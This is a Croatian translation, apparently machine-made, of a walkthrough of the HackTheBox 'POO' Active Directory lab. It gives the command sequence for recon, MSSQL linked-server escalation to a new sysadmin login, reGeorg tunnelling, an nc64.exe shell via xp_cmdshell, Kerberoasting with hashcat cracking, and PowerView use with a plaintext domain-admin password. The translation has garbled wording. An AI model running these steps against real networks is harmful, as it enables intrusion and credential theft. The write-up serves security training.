U ovom ćemo članku analizirati prolaz ne samo stroja, već cijelog mini-laboratorija s mjesta
Kao što je navedeno u opisu, POO je dizajniran za testiranje vještina u svim fazama napada u malom okruženju Active Directory. Cilj je kompromitirati raspoloživi host, eskalirati privilegije i na kraju kompromitirati cijelu domenu prikupljanjem 5 zastavica u procesu.
Veza s laboratorijem je putem VPN-a. Preporuča se da se ne povezujete s radnog računala ili s hosta na kojem se nalaze važni podaci za vas, jer ulazite u privatnu mrežu s ljudima koji znaju nešto o informacijskoj sigurnosti 🙂
organizacijske informacije
Kako biste mogli saznati o novim člancima, softveru i drugim informacijama, stvorio sam
Sve informacije služe samo u obrazovne svrhe. Autor ovog dokumenta ne preuzima nikakvu odgovornost za bilo kakvu štetu nastalu bilo kome kao rezultat korištenja znanja i metoda dobivenih kao rezultat proučavanja ovog dokumenta.
Uvod
Ova završna igra sastoji se od dva stroja i sadrži 5 zastavica.
Također je dat opis i adresa dostupnog hosta.
Započnimo!
Zastava za izviđanje
Ovaj stroj ima IP adresu 10.13.38.11 koju dodajem u /etc/hosts.
10.13.38.11 poo.htb
Prvi korak je skeniranje otvorenih portova. Budući da skeniranje svih portova s nmapom traje dugo, prvo ću to učiniti s masscanom. Skeniramo sve TCP i UDP portove s tun0 sučelja pri 500pps.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Sada, da bismo dobili detaljnije informacije o uslugama koje rade na portovima, pokrenimo skeniranje s opcijom -A.
nmap -A poo.htb -p80,1433
Dakle, imamo IIS i MSSQL usluge. U ovom slučaju saznat ćemo pravi DNS naziv domene i računala. Na web poslužitelju nas dočekuje IIS početna stranica.
Iterirajmo po imenicima. Za ovo koristim gobuster. U parametrima navodimo broj streamova 128 (-t), URL (-u), rječnik (-w) i ekstenzije koje nas zanimaju (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
Dakle, imamo HTTP autentifikaciju za direktorij /admin, kao i dostupnu datoteku za pohranu usluge stolnog računala .DS_Store. .DS_Store su datoteke koje pohranjuju korisničke postavke za mapu, poput popisa datoteka, lokacije ikona, odabrane pozadinske slike. Takva datoteka može završiti u direktoriju web poslužitelja web programera. Tako dobivamo informacije o sadržaju imenika. Za ovo možete koristiti
python3 dsstore_crawler.py -i http://poo.htb/
Dobivamo sadržaj imenika. Najzanimljivija stvar ovdje je /dev direktorij, iz kojeg možemo vidjeti izvorne i db datoteke u dvije grane. Ali možemo koristiti prvih 6 znakova naziva datoteka i direktorija ako je usluga ranjiva na IIS ShortName. Ovu ranjivost možete provjeriti pomoću
I nalazimo jednu tekstualnu datoteku koja počinje s "poo_co". Ne znajući što dalje, jednostavno sam iz rječnika imenika odabrao sve riječi koje počinju na "co".
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
I ponovite s wfuzzom.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
I pronađite pravu riječ! Gledamo ovu datoteku, spremamo vjerodajnice (sudeći po parametru DBNAME, one su iz MSSQL-a).
Predajemo zastavu, a napredujemo 20%.
Huh zastava
Spajamo se na MSSQL, ja koristim DBeaver.
Ne nalazimo ništa zanimljivo u ovoj bazi, napravimo SQL Editor i provjerimo koji su korisnici.
SELECT name FROM master..syslogins;
Imamo dva korisnika. Provjerimo naše privilegije.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Dakle, nema nikakvih privilegija. Pogledajmo povezane poslužitelje, pisao sam o ovoj tehnici u detalje
SELECT * FROM master..sysservers;
Dakle, nalazimo drugi SQL Server. Provjerimo izvršavanje naredbi na ovom poslužitelju koristeći openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
A možemo čak i izgraditi stablo upita.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
Činjenica je da kada uputimo zahtjev povezanom poslužitelju, zahtjev se izvršava u kontekstu drugog korisnika! Pogledajmo koji korisnički kontekst pokrećemo na povezanom poslužitelju.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
A sada da vidimo u kojem kontekstu se izvršava zahtjev s povezanog poslužitelja na naš!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
Dakle, to je DBO kontekst koji mora imati sve privilegije. Provjerimo privilegije u slučaju zahtjeva s povezanog poslužitelja.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
Kao što vidite, imamo sve privilegije! Kreirajmo našeg admina ovako. Ali ne puštaju ih kroz openquery, ajmo to kroz EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
A sada se povezujemo s vjerodajnicama novog korisnika, promatramo novu bazu podataka zastava.
Predajemo ovu zastavu i idemo dalje.
Zastava povratka
Nabavimo ljusku koristeći MSSQL, ja koristim mssqlclient iz impacket paketa.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
Moramo dobiti lozinke, a prvo što smo već upoznali je stranica. Dakle, potrebna nam je konfiguracija web poslužitelja (ne možemo baciti prikladnu ljusku, očito vatrozid radi).
Ali pristup je odbijen. Iako možemo čitati datoteku iz MSSQL-a, samo trebamo znati koji su programski jezici konfigurirani. I u direktoriju MSSQL saznajemo da postoji Python.
Tada nema problema s čitanjem datoteke web.config.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
S pronađenim vjerodajnicama idite na /admin i podignite zastavicu.
zastava uporišta
Zapravo, postoje neke neugodnosti zbog korištenja vatrozida, ali gledajući mrežne postavke, primjećujemo da se koristi i IPv6 protokol!
Dodajte ovu adresu u /etc/hosts.
dead:babe::1001 poo6.htb
Ponovno skenirajmo host, ali ovaj put preko IPv6.
A usluga WinRM dostupna je preko IPv6. Povežimo se s pronađenim vjerodajnicama.
Na radnoj površini je zastavica, predaj je.
P00ned zastava
Nakon izviđanja na domaćinu sa
setspn.exe -T intranet.poo -Q */*
Izvršimo naredbu preko MSSQL-a.
Na taj način dobivamo SPN korisnika p00_hr i p00_adm, što znači da su ranjivi na napad kao što je Kerberoasting. Ukratko, možemo dobiti hashove njihovih zaporki.
Prvo morate nabaviti stabilnu ljusku u ime MSSQL korisnika. No budući da smo ograničeni u pristupu, vezu s hostom imamo samo preko portova 80 i 1433. Ali moguće je tunelirati promet kroz luku 80! Za ovo koristimo
Ali kada mu pokušamo pristupiti, dobivamo pogrešku 404. To znači da se *.aspx datoteke ne izvršavaju. Da biste pokrenuli datoteke s ovim ekstenzijama, instalirajte ASP.NET 4.5 na sljedeći način.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
I sada, kada pristupimo tunnel.aspx, dobivamo odgovor da je sve spremno za rad.
Pokrenimo klijentski dio aplikacije koji će preusmjeravati promet. Sav promet s porta 5432 proslijedit ćemo na poslužitelj.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
I koristimo proxy lance za slanje prometa bilo koje aplikacije preko našeg proxyja. Dodajmo ovaj proxy u konfiguracijsku datoteku /etc/proxychains.conf.
Sada prenesimo program na poslužitelj
Sada, kroz MSSQL, pokrećemo slušatelja.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
I povezujemo se preko našeg proxyja.
proxychains rlwrap nc poo.htb 4321
I uzmimo hašiše.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
Zatim morate ponoviti ove hashove. Budući da rockyou nije imao rječnik podataka o zaporkama, koristio sam SVE rječnike zaporki koje nudi Seclists. Za nabrajanje koristimo hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
I nalazimo obje lozinke, prvu u dutch_passwordlist.txt rječniku, a drugu u Keyboard-Combinations.txt.
I tako imamo tri korisnika, idemo na kontroler domene. Prvo saznajmo njegovu adresu.
Odlično, naučili smo IP adresu kontrolera domene. Otkrijmo sve korisnike domene, kao i tko je od njih administrator. Za preuzimanje skripte za dobivanje informacija PowerView.ps1. Zatim ćemo se povezati koristeći evil-winrm, navodeći direktorij sa skriptom u parametru -s. A zatim samo učitajte PowerView skriptu.
Sada imamo pristup svim njegovim funkcijama. Korisnik p00_adm izgleda kao privilegirani korisnik, pa ćemo raditi u njegovom kontekstu. Kreirajmo objekt PSCredential za ovog korisnika.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Sada će se sve Powershell naredbe u kojima navedemo Creds izvršavati u ime p00_adm. Prikažimo popis korisnika i atribut AdminCount.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
I tako, naš korisnik je stvarno privilegiran. Da vidimo kojim skupinama on pripada.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
Konačno potvrđujemo da je korisnik administrator domene. To mu daje pravo da se daljinski prijavi na kontroler domene. Pokušajmo se prijaviti s WinRM koristeći naš tunel. Zbunile su me pogreške koje je izdao reGeorg prilikom korištenja evil-winrm-a.
Zatim koristimo drugi, lakši,
Pokušavamo se povezati, a u sustavu smo.
Ali zastave nema. Zatim pogledajte korisnika i provjerite radne površine.
Kod mr3ksa nalazimo zastavu i laboratorij je 100% završen.
To je sve. Kao povratnu informaciju komentirajte jeste li naučili nešto novo iz ovog članka i je li vam bio koristan.
Možete nam se pridružiti na
Izvor: www.habr.com